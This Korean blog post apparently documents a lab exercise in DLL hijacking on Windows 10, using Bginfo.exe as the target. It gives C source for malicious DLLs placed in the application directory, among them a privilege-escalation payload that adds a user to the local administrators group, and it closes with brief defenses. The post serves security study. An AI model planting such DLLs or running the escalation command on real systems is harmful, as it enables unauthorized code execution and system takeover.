DLL Hijacking 이란?
https://so106037.tistory.com/357
해당 실습은 ⑤ 응용프로그램의 디렉터리 대상으로 진행한다.
옵션 미사용 + Known dll file 지정하지 않았다면,
응용프로그램이 존재하는 디렉터리가 첫번째 우선순위이다.
그렇기에 하이재킹을 쉽게 실습할 수 있다.
DLL hijacking 실습 (1)
실습환경: windows 10 21H2
실습대상: Bginfo.exe
실습도구: procmon, dll export viewer
참고: 링크
1. DLL이 누락된 프로세스 찾기
일반적으로 procmon을 이용해서 찾을 수 있다.
프로세스모니터(Process Monitor)
프로세스 분석 및 디버깅을 위해 registry, file, process/thread, n/w 등을 실시간으로 캡처하는 프로그램.
필터링 기능을 이용하여 Bginfo.exe 프로세스만 출력되도록 할 것.
[필터링 옵션]
- 프로세스 이름: Bginfo.exe
- result로 NAME NOT FOUND가 나오는 것.
- Path에 dll이 포함된 것
※ NAME NOT FOUND
dll을 찾을 수 없어 검색 우선순위 순서에 따라 디렉터리를 바꿔가며 찾는 것.
2. 폴더 권한 확인
3. dll hijacking
① 메시지 박스를 띄우는 코드 작성
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"IT'S MINE!",
" DLL HIJACKING ",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
② gcc 통해서 컴파일
③ 파일 이름 변경: evildll.dll ▶ SspiCli.dll
④ 후 Bginfo64.exe 실행
- Bginfo64.exe와 임의로 제작한 SspiCli.dll이 같은 폴더 내에 존재.
- 그럼 우선순위에 따라 같은 폴더 안부터 검색함 (Search Order) → SspiCli.dll 발견
- 작성한 악성 DLL이 실행됨
[추가] calc.exe 실습
+)
방어
- 설치된 모든 소프트웨어가 안전한 디렉터리에 들어가도록 하자.
C:\Program Files
C:\Program Files(x86)
- 관리자만이 "create" 'wirte" 권한을 가지기에, 공격자가 악의적인 DLL을 하이재킹하는 등의 행위를 막을 수 있다.
권한 상승(Privilege escalation)
DLL Hijacking을 통해서 임의 코드 실행 뿐만아니라 지속성, 권한 상승도 가능하다.
지속(Persistence): 공격 기반을 유지하고 시스템에 지속적으로 접근하기 위한 행동
권한 상승(Privilege escalation): 공격자가 시스템이나 네트워크에서 높은 권한을 얻기 위한 행위
DLL이 누락된 권한(horizontal/lateral movement) 또한 실행할 프로세스를 찾게 된다.
※DLL을 검색하는 폴더 대한 write 권한이 필요함
(horizontal) 수직 권한 확대
낮은 권한의 사용자가 응용 프로그램이 더 높은 권한의 사용자나 응용프로그램을 위한 자원이나 함수에 접근하는 것
(lateral) 수평 권한 확대 일반 사용자가 다른 일반 사용자를 위한 자원이나 함수에 접근 |
[권한 상승 예제]
// 대충 이런느낌
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd.exe /k net localgroup administrators user /add");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
실습 (1) 의 한계
· 경우에 따라 컴파일하는 DLL에서 여러 함수를 exported 해야할 수 있음.
→ 타겟 프로세스가 import하는.. exported function
· 내가 커스텀한 dll에 해당 함수가 존재하지 않으면, DLL Hijacking 등의 익스플로잇이 불가능하다.
· 이러한 경우, 대다수의 실행파일이 커스텀한 dll을 로드하지 않기 때문에.. 커스텀한 dll을 컴파일하는 것이 생각보다 어렵다.
※ DLL export viewer 등의 도구를 사용하여 정상 dll의 모든 exported 함수 확인이 가능함.
▶ 해당 DLL과 동일한 형식으로 커스텀하면 정상적으로 로드될 가능성 최대화
'System > TTPs' 카테고리의 다른 글
DLL Hijacking 실습 (4) - 리버스 쉘 (0) | 2023.03.30 |
---|---|
DLL Hijacking 실습 (3) (0) | 2023.03.30 |
2. DLL Hijacking (0) | 2023.03.29 |
1. Process Hollowing이란? (0) | 2023.03.29 |
UAC bypass 실습하다가 컴날림 (1) | 2022.07.15 |